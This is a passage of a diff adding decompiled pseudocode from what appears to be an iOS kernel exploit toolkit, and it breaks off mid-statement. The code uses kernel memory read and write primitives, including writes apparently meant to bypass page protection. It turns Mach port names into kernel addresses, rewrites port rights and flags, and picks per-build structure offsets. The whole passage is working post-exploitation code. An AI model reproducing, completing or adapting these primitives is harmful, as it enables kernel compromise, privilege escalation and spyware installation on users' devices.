sub_33A1C(a1, previous[1]); + if ( !v39 ) + return 0x2800ELL; + v40 = v39 + 8; + if ( kread32_outptr(a1, v39 + 8, previous) ) + { + if ( (previous[0] & 0x1F0000) != 0x40000 ) + return 0x28011LL; + previous[0] = previous[0] & 0xFFE0FFFF | 0x10000; + if ( noppl_kwrite32(a1, v40, previous[0]) ) + { + LODWORD(v30) = mach_port_mod_refs(mach_task_self_, name[0], 1u, 0xFFFFFFFF); + if ( !(_DWORD)v30 ) + { + v41 = 0; + v42 = mach_task_self_; + v43 = previous[1]; + while ( 1 ) + { + LODWORD(address) = 0; + LODWORD(v30) = mach_port_allocate(v42, 1u, (mach_port_name_t *)&address); + if ( (_DWORD)v30 ) + break; + LODWORD(v30) = mach_port_mod_refs(v42, address, 1u, 0xFFFFFFFF); + if ( (_DWORD)v30 ) + break; + LODWORD(v30) = mach_port_insert_right(v42, address, v43, 0x13u); + if ( !(_DWORD)v30 ) + { + v45 = address; + if ( (v48 & 0x400) != 0 ) + noppl_kwrite32(a1, a2, v48); + v46 = sub_33A1C(a1, previous[1]); + if ( !v46 ) + return 0x2800ELL; + v47 = v46 + 8; + if ( !kread32_outptr(a1, v46 + 8, previous) ) + return 0x2800FLL; + if ( (previous[0] & 0x1F0000) == 0x10000 ) + { + previous[0] = previous[0] & 0xFFE0FFFF | 0x100000; + v9 = 0x28010LL; + if ( !noppl_kwrite32(a1, v47, previous[0]) ) + return v9; + LODWORD(v30) = mach_port_mod_refs(mach_task_self_, previous[1], 4u, 0xFFFFFFFF); + if ( !(_DWORD)v30 ) + { + v9 = 0LL; + *a3 = v45; + return v9; + } + return (unsigned int)v30 | 0x80000000; + } + return 0x28011LL; + } + if ( (v30 & 0xFFFFFFF7) != 5 || v41++ >= 8 ) + return (unsigned int)v30 | 0x80000000; + } + } + return (unsigned int)v30 | 0x80000000; + } + return 0x28010LL; + } + return 0x2800FLL; + } + } + } + } + else + { + return 0x28026LL; + } + } + return v9; +} +// 36648: variable 'v20' is possibly undefined +// 28840: using guessed type __int64 __fastcall kread64(_QWORD, _QWORD, _QWORD); +// 288A4: using guessed type __int64 __fastcall sub_288A4(_QWORD, _QWORD, _QWORD); +// 2A0D0: using guessed type __int64 __fastcall kwrite64(_QWORD, _QWORD, _QWORD); + +//----- (0000000000036C10) ---------------------------------------------------- +_QWORD *__fastcall sub_36C10(_DWORD *a1, unsigned int a2) +{ + int v2; // w8 + unsigned int v5; // w8 + size_t v6; // x21 + _QWORD *result; // x0 + _QWORD *v8; // x20 + int v9; // w22 + unsigned int v10; // w20 + unsigned __int64 v11; // x0 + __int64 v12; // [xsp+8h] [xbp-48h] BYREF + unsigned __int64 v13; // [xsp+10h] [xbp-40h] BYREF + mach_port_name_t name[2]; // [xsp+18h] [xbp-38h] BYREF + void *v15; // [xsp+20h] [xbp-30h] BYREF + void *v16; // [xsp+28h] [xbp-28h] BYREF + + *(_QWORD *)name = 0LL; + v15 = 0LL; + v12 = 0LL; + v13 = 0LL; + v2 = a1[0x50]; + if ( v2 != 0x1C1B && v2 != 0x1809 ) + return 0LL; + v5 = a1[0x60]; + if ( v5 <= a2 ) + v6 = a2; + else + v6 = v5; + v16 = 0LL; + result = calloc(v6, 1uLL); + if ( result ) + { + v8 = result; + v9 = sub_1F274(2 * (int)v6, &v16); + if ( !v9 ) + { + v9 = sub_1F308((__int64 *)v16, 0x1000000, 4uLL, 0LL); + if ( !v9 ) + { + v9 = sub_1F308((__int64 *)v16, 0x8000000, 4uLL, "key"); + if ( !v9 ) + { + v9 = sub_1F308((__int64 *)v16, 0x8A000000, v6, v8); + if ( !v9 ) + v9 = sub_1F418((__int64)v16, &v15, &name[1]); + } + } + } + if ( v16 ) + sub_1F4A4((void **)v16); + free(v8); + if ( v9 ) + return 0LL; + v10 = sub_24FC0((__int64)v15, name[1], name); + if ( v10 + 1 >= 2 ) + { + v11 = port_name_to_kaddr((__int64)a1, v10); + v13 = v11; + if ( v11 ) + { + if ( kread64(a1, v11 + 0x10, (__int64 *)&v13) + && kread64(a1, v13 + 0x18, (__int64 *)&v13) + && kread64(a1, v13 + 0x20, (__int64 *)&v13) + && kread64(a1, v13 + (int)a1[0x5A], (__int64 *)&v13) + && kread64(a1, v13 + 0x18, &v12) ) + { + v12 = validate_addr((__int64)a1, v12); + if ( v12 ) + { + if ( !kwrite64((__int64)a1, v13 + 0x18, 0LL) ) + v12 = 0LL; + } + } + } + } + if ( v15 ) + free(v15); + if ( v10 + 1 >= 2 ) + mach_port_destroy(mach_task_self_, v10); + if ( name[0] + 1 >= 2 ) + mach_port_destroy(mach_task_self_, name[0]); + return (_QWORD *)v12; + } + return result; +} + +//----- (0000000000036E4C) ---------------------------------------------------- +__int64 __fastcall sub_36E4C(__int64 a1, __int64 a2, __int64 size) +{ + __int64 v6; // x19 + kern_return_t v7; // w0 + unsigned int v8; // w24 + kern_return_t v9; // w0 + mach_port_name_t v10; // w22 + __int64 v11; // x0 + int v12; // w0 + _QWORD *v13; // x10 + _QWORD *v14; // x9 + _QWORD *v15; // x8 + void *v16; // x27 + __int64 v17; // x0 + mach_port_t v18; // w0 + mach_port_name_t v19; // w1 + int v20; // w8 + __int64 v22; // x0 + __int64 v23; // x19 + void *v24; // x0 + void *v25; // x22 + int v26; // w24 + __int64 v27; // x26 + __int64 v28; // x25 + __int64 v29; // x0 + __int64 v30; // x0 + mach_vm_address_t v31; // x27 + unsigned __int64 v32; // x8 + __int64 v33; // x8 + kern_return_t v34; // w0 + mach_port_name_t name; // [xsp+4h] [xbp-6Ch] BYREF + vm_address_t address[3]; // [xsp+8h] [xbp-68h] BYREF + + if ( *(_QWORD *)(a1 + 0x158) >= 0x1F541E00000000uLL ) + { + v6 = 0xAD001LL; + address[0] = 0LL; + if ( (size & 0xF) != 0 ) + return v6; + v7 = vm_allocate(mach_task_self_, address, (unsigned int)size, 1); + if ( v7 ) + { + v8 = 0; + v6 = v7 | 0x80000000; + goto LABEL_30; + } + v12 = pthread_mutex_lock((pthread_mutex_t *)(a1 + 0x330)); + if ( !v12 ) + { + v13 = *(_QWORD **)(a1 + 0x370); + if ( v13 ) + { + v14 = 0LL; + v15 = (_QWORD *)(a1 + 0x370); + while ( 1 ) + { + v16 = v13; + if ( v13[1] == a2 && *((_DWORD *)v13 + 6) == (_DWORD)size ) + break; + v13 = (_QWORD *)*v13; + v14 = v16; + if ( !*(_QWORD *)v16 ) + goto LABEL_15; + } + if ( v14 ) + v15 = v14; + *v15 = *v13; + v12 = pthread_mutex_unlock((pthread_mutex_t *)(a1 + 0x330)); + if ( v12 ) + goto LABEL_26; + v6 = 0x28010LL; + v27 = *((_QWORD *)v16 + 4); + v28 = *((_QWORD *)v16 + 2); + v8 = *((_DWORD *)v16 + 7); + free(v16); + v29 = sub_32D6C(a1, v8); + if ( v29 ) + { + v30 = sub_32820(a1, v29); + if ( v30 && (v31 = v30 + 3LL * *(int *)(a1 + 0x168)) != 0 ) + { + if ( (unsigned int)kwritebuf_last_1(a1, a2, address[0], size) ) + { + v32 = *(_QWORD *)(a1 + 0x158); + if ( v32 > 0x22580A06BFFFFFLL + || (v32 < 0x1F543C40800000LL || *(int *)(a1 + 0x140) >= 0x2258 + ? (v33 = *(unsigned int *)(a1 + 0x168)) + : (v33 = 0LL), + kwrite64(a1, v33 + a2, v27)) ) + { + if ( kwrite64(a1, v31, v28) ) + { + v34 = mach_port_mod_refs(mach_task_self_, v8, 1u, 0xFFFFFFFF); + if ( v34 ) + { + v6 = v34 | 0x80000000; + } + else + { + v8 = 0; + v6 = 0LL; + } + } + } + } + } + else + { + v6 = 0x28026LL; + } + } + else + { + v6 = 0x2800ELL; + } +LABEL_30: + if ( address[0] ) + vm_deallocate(mach_task_self_, address[0], (unsigned int)size); + if ( v8 + 1 >= 2 ) + { + v18 = mach_task_self_; + v19 = v8; +LABEL_34: + mach_port_mod_refs(v18, v19, 1u, 0xFFFFFFFF); + return v6; + } + return v6; + } +LABEL_15: + v12 = pthread_mutex_unlock((pthread_mutex_t *)(a1 + 0x330)); + if ( !v12 ) + { + v8 = 0; + v6 = 0xAD011LL; + goto LABEL_30; + } + } +LABEL_26: + v8 = 0; + if ( v12 >= 0 ) + v20 = v12; + else + v20 = -v12; + v6 = v20 | 0x40000000u; + goto LABEL_30; + } + name = 0; + v9 = mach_port_allocate(mach_task_self_, 1u, &name); + if ( !v9 ) + { + v10 = name; + v11 = sub_248E4((__int64)address); + if ( (_DWORD)v11 ) + { + v6 = v11; + } + else + { + sub_24954((__int64)address, 0xFFFFFFFF); + if ( (_DWORD)v17 ) + { + v6 = v17; + sub_24908((__int64)address); + } + else + { + v6 = sub_24B38((__int64)address, 0, v10, 0); + sub_24908((__int64)address); + if ( !(_DWORD)v6 ) + { + LOBYTE(address[0]) = 2; + if ( !((unsigned int)size % *(_DWORD *)(a1 + 0x168)) + && (v22 = sub_35568(a1, name)) != 0 + && (v23 = v22, (v24 = calloc((unsigned int)size, 1uLL)) != 0LL) + && (v25 = v24, v26 = kwritebuf_last_1(a1, a2, (__int64)v24, size), free(v25), v26) + && (unsigned int)sub_288A4(a1, v23 + 0x24, a2) + && noppl_kwrite32(a1, v23 + 0x30, (unsigned int)size / *(_DWORD *)(a1 + 0x168)) ) + { + if ( (unsigned int)kwritebuf_last_1(a1, v23 + 0x2F, (__int64)address, 1LL) ) + v6 = 0LL; + else + v6 = 0x1001LL; + } + else + { + v6 = 0x1001LL; + } + } + } + } + v18 = mach_task_self_; + v19 = name; + goto LABEL_34; + } + return v9 | 0x80000000; +} +// 36F80: variable 'v17' is possibly undefined +// 288A4: using guessed type __int64 __fastcall sub_288A4(_QWORD, _QWORD, _QWORD); + +//----- (0000000000037210) ---------------------------------------------------- +__int64 __fastcall sub_37210(__int64 a1, unsigned int *a2) +{ + unsigned int v4; // w24 + unsigned __int64 v5; // x8 + __int64 v6; // x28 + __int64 v7; // x27 + unsigned int v8; // w0 + unsigned int v9; // w8 + int v10; // w9 + int v11; // w8 + unsigned int v12; // w8 + int v13; // w9 + int v14; // w8 + int v15; // w21 + unsigned int v16; // w22 + void *v17; // x0 + void *v18; // x21 + mach_port_t v19; // w23 + int v20; // w22 + __int64 v21; // x0 + __int64 v22; // x22 + mach_port_name_t v23; // w1 + mach_port_t v24; // w0 + __int64 v25; // x0 + __int64 v26; // x0 + __int64 v27; // x21 + unsigned int v28; // w23 + unsigned __int64 v29; // x23 + int v30; // w0 + unsigned int v31; // w22 + int v32; // w8 + int v33; // w10 + unsigned int v34; // w8 + int v35; // w11 + void *v36; // x0 + mach_port_t v37; // w23 + _QWORD *v39; // x0 + void *v40; // x21 + mach_port_name_t v41; // w8 + int v42; // w22 + mach_port_name_t v43; // w23 + unsigned __int64 v44; // x8 + bool v45; // cc + __int64 v46; // x8 + __int64 v47; // x23 + __int64 v48; // x26 + int v49; // w0 + __int64 v50; // x0 + __int64 *v51; // x9 + _QWORD *v52; // x8 + unsigned int v53; // [xsp+4h] [xbp-8Ch] + int v54; // [xsp+8h] [xbp-88h] BYREF + unsigned int v55; // [xsp+Ch] [xbp-84h] BYREF + mach_port_name_t name[2]; // [xsp+10h] [xbp-80h] BYREF + mach_port_t previous; // [xsp+1Ch] [xbp-74h] BYREF + mach_port_name_t v58[2]; // [xsp+20h] [xbp-70h] BYREF + __int64 v59[3]; // [xsp+28h] [xbp-68h] BYREF + + v4 = *a2; + v5 = *(_QWORD *)(a1 + 0x158); + if ( v5 >= 0x1F541E00000000LL ) + { + *(_QWORD *)v58 = 0LL; + previous = 0; + *(_QWORD *)name = 0LL; + if ( v5 > 0x22580A06BFFFFFLL || v5 >= 0x1F543C40800000LL && *(int *)(a1 + 0x140) <= 0x2257 ) + { + v6 = 0LL; + v7 = *(unsigned int *)(a1 + 0x168); + } + else + { + v7 = 0LL; + v6 = *(unsigned int *)(a1 + 0x168); + } + if ( mach_port_allocate(mach_task_self_, 1u, &v58[1]) ) + goto LABEL_29; + v25 = sub_32D6C(a1, v58[1]); + if ( !v25 ) + goto LABEL_29; + v26 = sub_32820(a1, v25); + if ( !v26 ) + goto LABEL_29; + v27 = v26 + 3LL * *(int *)(a1 + 0x168); + if ( !v27 || mach_port_allocate(mach_task_self_, 1u, v58) ) + goto LABEL_29; + while ( 1 ) + { + if ( mach_port_request_notification(mach_task_self_, v58[1], 0x48, 0, v58[0], 0x15u, &previous) + || mach_port_request_notification(mach_task_self_, v58[1], 0x48, 0, 0, 0x15u, &previous) ) + { + goto LABEL_29; + } + if ( previous + 1 >= 2 ) + { + if ( mach_port_deallocate(mach_task_self_, previous) ) + goto LABEL_29; + previous = 0; + } + if ( !(unsigned int)kread64_internal(a1, v27, v59) ) + goto LABEL_29; + v22 = sub_29CB0((_DWORD *)a1, v59[0]); + if ( *(_QWORD *)(a1 + 0x158) > 0x22580A06BFFFFFuLL ) + v22 = sub_2A200(a1, v22, &v55); + if ( !validate_addr(a1, v22) ) + goto LABEL_29; + if ( *(_QWORD *)(a1 + 0x158) <= 0x22580A06BFFFFFuLL ) + { + if ( !(unsigned int)kread64_internal(a1, v22 + v6, name) ) + goto LABEL_29; + v29 = sub_29CB0((_DWORD *)a1, *(__int64 *)name); + if ( !validate_addr_maybe2(a1, v29) || !(unsigned int)kreadbuf_last_1(a1, v29, 4LL, (__int64)&v55) ) + goto LABEL_29; + v28 = 0x10 * v55; + } + else + { + v28 = v55; + } + if ( v28 >= v4 ) + break; + v54 = 0; + if ( !(unsigned int)kwritebuf_last_1(a1, v22 + v7, (__int64)&v54, 4LL) ) + goto LABEL_29; + } + if ( (unsigned int)sub_288A4(a1, v27, 0LL) && (v39 = malloc(0x28uLL)) != 0LL ) + { + v40 = v39; + *v39 = 0LL; + v39[1] = v22; + v39[2] = v59[0]; + v41 = v58[1]; + *((_DWORD *)v39 + 6) = v28; + *((_DWORD *)v39 + 7) = v41; + v39[4] = *(_QWORD *)name; + v58[1] = 0; + if ( pthread_mutex_lock((pthread_mutex_t *)(a1 + 0x330)) ) + { +LABEL_90: + free(v40); + goto LABEL_29; + } + v51 = *(__int64 **)(a1 + 0x370); + if ( v51 ) + { + while ( 1 ) + { + v52 = v51; + if ( v51[1] == v22 && *((_DWORD *)v51 + 6) == v28 ) + break; + v51 = (__int64 *)*v51; + if ( !*v52 ) + goto LABEL_112; + } + pthread_mutex_unlock((pthread_mutex_t *)(a1 + 0x330)); + goto LABEL_90; + } + v52 = (_QWORD *)(a1 + 0x370); +LABEL_112: + *v52 = v40; + if ( pthread_mutex_unlock((pthread_mutex_t *)(a1 + 0x330)) ) + v22 = 0LL; + else + v4 = v28; + } + else + { +LABEL_29: + v22 = 0LL; + } + if ( v58[1] + 1 >= 2 ) + mach_port_mod_refs(mach_task_self_, v58[1], 1u, 0xFFFFFFFF); + v23 = v58[0]; + if ( v58[0] + 1 < 2 ) + goto LABEL_83; + v24 = mach_task_self_; + goto LABEL_82; + } + v8 = sub_40210(a1); + if ( !v8 ) + return 0LL; + if ( v4 >= v8 ) + { + v9 = *(_DWORD *)(a1 + 0x180); + v10 = v4 % v9; + v11 = v9 - v4 % v9; + if ( !v10 ) + v11 = 0; + v4 += v11; + } + v12 = *(_DWORD *)(a1 + 0x168); + if ( v4 >= 0x3FFF * v12 ) + { + name[0] = 0; + if ( !mach_port_allocate(mach_task_self_, 1u, name) ) + { + v30 = sub_353DC(a1); + if ( *(_QWORD *)(a1 + 0x158) <= 0x1F52FFFFFFFFFFuLL ) + { + v31 = 0xFFFFFFDC; + if ( v4 >= 0x25 && v30 + 0x68 <= v4 ) + { + if ( v4 < 0x29 ) + goto LABEL_80; + if ( v30 + 0x6C <= v4 ) + { + v33 = 0x6C; + v34 = 4; + do + { + v35 = v33; + if ( v33 - 0x40 >= v4 ) + break; + v33 += 4; + v34 += 4; + } + while ( v30 + ((v34 / 3) & 0x7FFFFFFC) + v33 <= v4 ); + v32 = v35 - 0x44; + } + else + { + v32 = 0x24; + } + v31 = v32 - 0x24; + if ( v32 == 0x24 ) + goto LABEL_80; + } + } + else + { + v31 = v4 + 0x4C; + if ( v4 + 0x4C <= 0x100 - v30 ) + goto LABEL_80; + } + v36 = calloc(v31, 1uLL); + if ( v36 ) + { + v18 = v36; + if ( (v31 & 3) != 0 ) + goto LABEL_78; + v37 = name[0]; + if ( (unsigned int)sub_248E4((__int64)v59) ) + goto LABEL_78; + if ( !(unsigned int)sub_24AD0((__int64)v59, v18, v31) ) + { + v42 = sub_24B38((__int64)v59, 0, v37, 0); + sub_24908((__int64)v59); + if ( !v42 ) + { + v43 = name[0]; + v22 = sub_354A4(a1, name[0]); + if ( !v22 ) + goto LABEL_79; + if ( (unsigned int)kread64(a1, v22, v59) && validate_addr(a1, v59[0]) ) + { + v53 = v43; + v44 = *(_QWORD *)(a1 + 0x158); + if ( v44 < 0x1C1B0A80100000LL ) + goto LABEL_100; + v45 = v44 > 0x1C1B19145FFFFFLL; + v46 = 0x18LL; + if ( v45 ) + v46 = 0x10LL; + if ( (unsigned int)kread64(a1, v59[0] + v46, v59) && validate_addr(a1, v59[0]) ) + { +LABEL_100: + v47 = v22; + v48 = v22 + 8; + v49 = kreadbuf_last_1(a1, v22 + 8 + *(int *)(a1 + 0x168), 2LL, (__int64)&v58[1]); + v22 = 0LL; + if ( !v49 || LOWORD(v58[1]) != 1 ) + goto LABEL_79; + if ( (unsigned int)sub_288A4(a1, v47, 0LL) ) + { + LOWORD(v58[1]) = 0; + if ( (unsigned int)kwritebuf_last_1(a1, v48 + *(int *)(a1 + 0x168), (__int64)&v58[1], 2LL) ) + { + v50 = sub_32D6C(a1, v53); + if ( v50 ) + { + sub_35E18(a1, v50, 0xFFFFFFFF); + v22 = v59[0]; + goto LABEL_79; + } + } + } + } + } + } + goto LABEL_78; + } + goto LABEL_77; + } +LABEL_80: + v22 = 0LL; + goto LABEL_81; + } + } + else + { + name[0] = 0; + v13 = v4 % v12; + v14 = v12 - v4 % v12; + if ( v13 ) + v15 = v14; + else + v15 = 0; + if ( !mach_port_allocate(mach_task_self_, 1u, name) ) + { + v16 = v15 + v4; + v17 = calloc(v15 + v4, 1uLL); + if ( v17 ) + { + v18 = v17; + if ( v16 % *(_DWORD *)(a1 + 0x168) ) + goto LABEL_78; + v19 = name[0]; + if ( (unsigned int)sub_248E4((__int64)v59) ) + goto LABEL_78; + if ( !(unsigned int)sub_24A64((__int64)v59, (__int64)v18, v16 / *(_DWORD *)(a1 + 0x168)) ) + { + v20 = sub_24B38((__int64)v59, 0, v19, 0); + sub_24908((__int64)v59); + if ( !v20 ) + { + v21 = sub_35568(a1, name[0]); + v22 = v21; + if ( !v21 ) + { +LABEL_79: + free(v18); +LABEL_81: + v24 = mach_task_self_; + v23 = name[0]; +LABEL_82: + mach_port_mod_refs(v24, v23, 1u, 0xFFFFFFFF); + goto LABEL_83; + } + if ( (unsigned int)kread64(a1, v21 + 0x24, v59) && validate_addr(a1, v59[0]) ) + { + if ( noppl_kwrite32(a1, v22 + 0x20, 0) ) + v22 = v59[0]; + else + v22 = 0LL; + goto LABEL_79; + } + } +LABEL_78: + v22 = 0LL; + goto LABEL_79; + } +LABEL_77: + sub_24908((__int64)v59); + goto LABEL_78; + } + goto LABEL_80; + } + } + v22 = 0LL; +LABEL_83: + if ( v22 && v4 != *a2 ) + *a2 = v4; + return v22; +} +// 28840: using guessed type __int64 __fastcall kread64(_QWORD, _QWORD, _QWORD); +// 288A4: using guessed type __int64 __fastcall sub_288A4(_QWORD, _QWORD, _QWORD); +// 29B78: using guessed type __int64 __fastcall kread64_internal(_QWORD, _QWORD, _QWORD); + +//----- (000000000003796C) ---------------------------------------------------- +__int64 __fastcall sub_3796C(__int64 a1, _DWORD *a2) +{ + __int64 v4; // x19 + vm_size_t v5; // x20 + vm_address_t address; // [xsp+0h] [xbp-40h] BYREF + vm_size_t size; // [xsp+Ch] [xbp-34h] BYREF + + LODWORD(size) = *a2; + v4 = sub_37210(a1, (unsigned int *)&size); + if ( v4 ) + { + address = 0LL; + v5 = (unsigned int)size; + if ( vm_allocate(mach_task_self_, &address, (unsigned int)size, 1) ) + { +LABEL_3: + sub_36E4C(a1, v4, v5); + return 0LL; + } + if ( !(unsigned int)kwritebuf_last_1(a1, v4, address, v5) ) + { + vm_deallocate(mach_task_self_, address, v5); + goto LABEL_3; + } + if ( (_DWORD)v5 != *a2 ) + *a2 = v5; + vm_deallocate(mach_task_self_, address, v5); + } + return v4; +} + +//----- (0000000000037A50) ---------------------------------------------------- +__int64 __fastcall sub_37A50(int *a1, unsigned int a2, int a3, int a4, __int16 a5) +{ + __int64 v9; // x19 + unsigned __int64 v10; // x0 + unsigned __int64 v11; // x21 + mach_vm_address_t v12; // x23 + unsigned __int64 v13; // x22 + unsigned __int64 v14; // x23 + __int64 v15; // x21 + unsigned int v17; // [xsp+0h] [xbp-60h] BYREF + unsigned int v18; // [xsp+4h] [xbp-5Ch] BYREF + unsigned int v19; // [xsp+8h] [xbp-58h] BYREF + unsigned int v20; // [xsp+Ch] [xbp-54h] BYREF + unsigned int v21; // [xsp+10h] [xbp-50h] BYREF + unsigned int v22; // [xsp+14h] [xbp-4Ch] BYREF + __int64 v23; // [xsp+18h] [xbp-48h] BYREF + __int64 v24; // [xsp+20h] [xbp-40h] BYREF + __int16 v25; // [xsp+2Eh] [xbp-32h] BYREF + + v25 = a5; + v23 = 0LL; + v24 = 0LL; + if ( (*a1 & 0x5584201) == 0 ) + return 0xAD008LL; + v9 = sub_37C50(a1, (int *)&v22, (int *)&v21, (int *)&v20, (int *)&v19); + if ( !(_DWORD)v9 ) + { + v9 = sub_37F58((__int64)a1, a3, &v24); + if ( !(_DWORD)v9 ) + { + v9 = 0x2800FLL; + v10 = port_name_to_kaddr((__int64)a1, a2); + if ( !v10 ) + return 0x2800ELL; + v11 = v10; + v12 = v10 + v22; + if ( kread64(a1, v12, &v23) ) + { + if ( v23 && !validate_addr((__int64)a1, v23) ) + return 0x28026LL; + if ( !kwrite64((__int64)a1, v12, v24) ) + return 0x28010LL; + if ( a4 ) + { + v13 = v11 + v21; + if ( !kread32_outptr((__int64)a1, v13, &v18) ) + return v9; + if ( v18 > 3 ) + return 0x28011LL; + v14 = v11 + v20; + if ( !kread32_outptr((__int64)a1, v14, &v17) ) + return v9; + if ( v17 > 0xB71B00 ) + return 0x28011LL; + if ( !noppl_kwrite32((__int64)a1, v13, 1) || !noppl_kwrite32((__int64)a1, v14, 0xB71B00) ) + return 0x28010LL; + } + v15 = v11 + v19; + if ( (unsigned int)kreadbuf_last_1((__int64)a1, v15, 2LL, (__int64)&v18) ) + { + if ( (unsigned __int16)v18 > 0x7Fu ) + return 0x28011LL; + if ( (unsigned int)kwritebuf_last_1((__int64)a1, v15, (__int64)&v25, 2LL) ) + return 0LL; + else + return 0x28010LL; + } + } + } + } + return v9; +} + +//----- (0000000000037C50) ---------------------------------------------------- +__int64 __fastcall sub_37C50(int *a1, int *a2, int *a3, int *a4, int *a5) +{ + int v6; // w11 + __int64 result; // x0 + unsigned __int64 v8; // x10 + int v9; // w9 + int v10; // w8 + bool v11; // zf + int v12; // w9 + int v13; // w15 + int v14; // w16 + int v15; // w17 + bool v16; // cf + int v17; // w8 + int v18; // w9 + int v19; // w10 + int v20; // w11 + int v21; // w8 + int v22; // w11 + int v23; // w12 + int v24; // w13 + int v25; // w14 + bool v26; // cc + int v27; // w10 + int v28; // w16 + bool v29; // zf + int v30; // w8 + bool v31; // cc + int v32; // w12 + int v33; // w11 + + v6 = 0x5584001; + result = 0xAD008LL; + v8 = *((_QWORD *)a1 + 0x2B); + v9 = *a1; + if ( v8 >> 0x2B >= 0x44B ) + v6 = 0x5584201; + if ( (v9 & v6) == 0 ) + return result; + result = 0x2802CLL; + v10 = a1[0x50]; + if ( v10 <= 0x2257 ) + { + if ( (unsigned int)(v10 - 0x1F53) >= 2 ) + { + if ( v10 != 0x1809 ) + { + if ( v10 != 0x1C1B ) + return result; + v11 = (v9 & 0x84000) == 0; + if ( (v9 & 0x84000) != 0 ) + v12 = 0x288; + else + v12 = 0x280; + if ( v11 ) + v13 = 0x16C; + else + v13 = 0x174; + if ( v11 ) + v14 = 0x22C; + else + v14 = 0x234; + if ( v11 ) + v15 = 0x184; + else + v15 = 0x18C; + v16 = v8 >= 0x1C1B1914600000LL; + if ( v8 >= 0x1C1B1914600000LL ) + v17 = v12; + else + v17 = 0x1C0; + if ( v8 >= 0x1C1B1914600000LL ) + v18 = v13; + else + v18 = 0xAC; + if ( v8 >= 0x1C1B1914600000LL ) + v19 = v14; + else + v19 = 0x16C; + if ( v16 ) + v20 = v15; + else + v20 = 0xC4; + goto LABEL_111; + } + v31 = v8 > 0x18090A095FFFFFLL; + if ( v8 <= 0x18090A095FFFFFLL ) + v17 = 0x1A8; + else + v17 = 0x1A0; + if ( v8 <= 0x18090A095FFFFFLL ) + v18 = 0xAC; + else + v18 = 0xA4; + if ( v8 <= 0x18090A095FFFFFLL ) + v19 = 0x154; + else + v19 = 0x14C; + v20 = 0xC4; + v32 = 0xBC; + goto LABEL_93; + } + if ( (v9 & 0x100000) != 0 ) + { + v31 = v8 > 0x1F530F027FFFFFLL; + if ( v8 <= 0x1F530F027FFFFFLL ) + v18 = 0x180; + else + v18 = 0x17C; + if ( v8 <= 0x1F530F027FFFFFLL ) + v17 = 0x290; + else + v17 = 0x220; + if ( v8 <= 0x1F530F027FFFFFLL ) + v19 = 0x230; + else + v19 = 0x1C4; + v20 = 0x190; + v32 = 0x194; +LABEL_93: + if ( v31 ) + v20 = v32; + goto LABEL_111; + } + if ( v8 <= 0x1F530F027FFFFFLL ) + v23 = 0x170; + else + v23 = 0x16C; + if ( v8 <= 0x1F530F027FFFFFLL ) + v24 = 0x280; + else + v24 = 0x210; + if ( v8 <= 0x1F530F027FFFFFLL ) + v25 = 0x224; + else + v25 = 0x1B4; + v26 = v8 > 0x1F530F027FFFFFLL; + if ( v8 <= 0x1F530F027FFFFFLL ) + v27 = 0x178; + else + v27 = 0x174; + if ( v26 ) + v17 = 0x218; + else + v17 = 0x288; + if ( v26 ) + v28 = 0x1BC; + else + v28 = 0x22C; + v29 = (v9 & 0x84000) == 0; + if ( (v9 & 0x84000) != 0 ) + { + v18 = v27; + } + else + { + v17 = v24; + v18 = v23; + } + if ( v29 ) + v19 = v25; + else + v19 = v28; + if ( v29 ) + v20 = 0x184; + else + v20 = 0x18C; +LABEL_111: + result = 0LL; + *a2 = v17; + *a3 = v18; + *a4 = v19; + *a5 = v20; + return result; + } + if ( v10 == 0x2258 || v10 == 0x225C ) + { + v30 = v9 & 0x518E241; + if ( (v9 & 0x518E241u) >= 0x80000 ) + { + if ( v30 != 0x80000 ) + { + if ( v30 != 0x100000 && v30 != 0x1000000 ) + return result; + v33 = 0x28; +LABEL_107: + v17 = v33 + 0x1E8; + v18 = v33 + 0x154; + v19 = v33 + 0x19C; + v20 = v33 + 0x16C; + goto LABEL_111; + } + } + else + { + if ( v30 == 1 ) + { + v33 = 0x10; + goto LABEL_107; + } + if ( v30 == 0x200 ) + { + v33 = 0; + goto LABEL_107; + } + if ( v30 != 0x4000 ) + return result; + } + v33 = 0x20; + goto LABEL_107; + } + if ( v10 != 0x2712 ) + return result; + v21 = v9 & 0x518E241; + if ( (v9 & 0x518E241u) >= 0x100000 ) + { + if ( v21 == 0x100000 || v21 == 0x1000000 ) + { + v22 = 0x18; + } + else + { + if ( v21 != 0x4000000 ) + return result; + v22 = 0x68; + } + goto LABEL_110; + } + if ( v21 == 1 ) + { + v22 = 0; + goto LABEL_110; + } + if ( v21 == 0x4000 || v21 == 0x80000 ) + { + v22 = 0x10; +LABEL_110: + v17 = v22 | 0x200; + v18 = v22 + 0x164; + v19 = v22 + 0x1B4; + v20 = v22 + 0x17C; + goto LABEL_111; + } + return result; +} + +//----- (0000000000037F58) ---------------------------------------------------- +__int64 __fastcall sub_37F58(__int64 a1, int a2, _QWORD *a3) +{ + __int64 result; // x0 + __int64 v7; // x8 + unsigned int v8; // [xsp+Ch] [xbp-54h] BYREF + _OWORD v9[2]; // [xsp+10h] [xbp-50h] BYREF + + memset(v9, 0, sizeof(v9)); + v8 = 4; + if ( !*(_QWORD *)(a1 + 0x248) || !*(_QWORD *)(a1 + 0x250) ) + { + result = sub_35004(a1, 2, (__int64)v9, &v8); + if ( (_DWORD)result ) + return result; + if ( v8 < 2 ) + return 0x28011LL; + *(_OWORD *)(a1 + 0x248) = v9[0]; + } + result = 0LL; + v7 = 0x250LL; + if ( a2 ) + v7 = 0x248LL; + *a3 = *(_QWORD *)(a1 + v7); + return result; +} + +//----- (0000000000038034) ---------------------------------------------------- +__int64 __fastcall sub_38034(int *a1, __int64 a2, int a3, int a4, __int16 a5) +{ + __int64 v10; // x21 + __int64 v11; // x24 + __int64 v12; // x1 + __int64 v13; // x10 + unsigned int v15; // [xsp+8h] [xbp-48h] BYREF + unsigned int v16; // [xsp+Ch] [xbp-44h] BYREF + unsigned int v17; // [xsp+10h] [xbp-40h] BYREF + unsigned int v18; // [xsp+14h] [xbp-3Ch] BYREF + __int64 v19; // [xsp+18h] [xbp-38h] BYREF + + v19 = 0LL; + if ( (*a1 & 0x5584201) == 0 ) + return 0xAD008LL; + v10 = sub_37C50(a1, (int *)&v18, (int *)&v17, (int *)&v16, (int *)&v15); + if ( !(_DWORD)v10 ) + { + v10 = sub_37F58((__int64)a1, a3, &v19); + if ( !(_DWORD)v10 ) + { + v10 = 0x28011LL; + v11 = v18; + v12 = *(_QWORD *)(a2 + v18); + if ( v12 && !validate_addr((__int64)a1, v12) ) + return 0x28026LL; + *(_QWORD *)(a2 + v11) = v19; + if ( a4 ) + { + if ( *(_DWORD *)(a2 + v17) > 3u ) + return v10; + v13 = 